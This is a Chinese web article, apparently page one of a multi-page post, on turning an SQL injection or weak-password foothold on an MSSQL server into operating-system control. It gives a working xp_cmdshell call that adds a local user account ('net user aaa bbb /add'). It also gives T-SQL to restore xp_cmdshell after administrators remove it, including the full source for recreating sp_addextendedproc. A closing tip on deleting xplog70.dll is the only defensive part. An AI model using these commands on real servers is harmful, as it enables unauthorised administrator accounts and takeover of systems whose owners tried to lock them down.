假设一台主机开了1433端口我们已通过SQL注入或是空弱密码远程连接
能有哪些办法加一个系统管理员用户呢(或是执行系统命令)

1).XP_CMDSHELL <|>cmd.exe /c net user aaa bbb /add<|>
人人都知道的办法,最大的好处是有回显,但是最怕

if exists (select * from
dbo.sysobjects where id = object_id(N<|>[dbo].[xp_cmdshell]<|>) and
OBJECTPROPERTY(id, N<|>IsExtendedProc<|>) = 1)
exec sp_dropextendedproc N<|>[dbo].[xp_cmdshell]<|>
GO

通过上面的T-SQL语句就可以把这个扩展储存删了

我们一般可以用
2k:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =<|>xplog70.dll<|>
SQL97:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =<|>xpsql70.dll<|>

就还原了.

但是有的人知道sp_addextendedproc也只不过是一个储存过程一样可以删除的

DROP PROCEDURE sp_addextendedproc
if exists (select * from
dbo.sysobjects where id = object_id(N<|>[dbo].[xp_cmdshell]<|>) and
OBJECTPROPERTY(id, N<|>IsExtendedProc<|>) = 1)
exec sp_dropextendedproc N<|>[dbo].[xp_cmdshell]<|>
GO

还原:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,<|>sp_addextendedproc<|>)
return (1)
end
/*
** Create the extended procedure mapping.
*/
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO

唉呀呀写了这么多其实有个最简单的保护办法:
先NET stop mssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)删了

[1] [2] [3] [4] [5] [6] 下一页

上一篇:win2k下的批处理BAT文件运用

下一篇:渗透攻击必用命令与步骤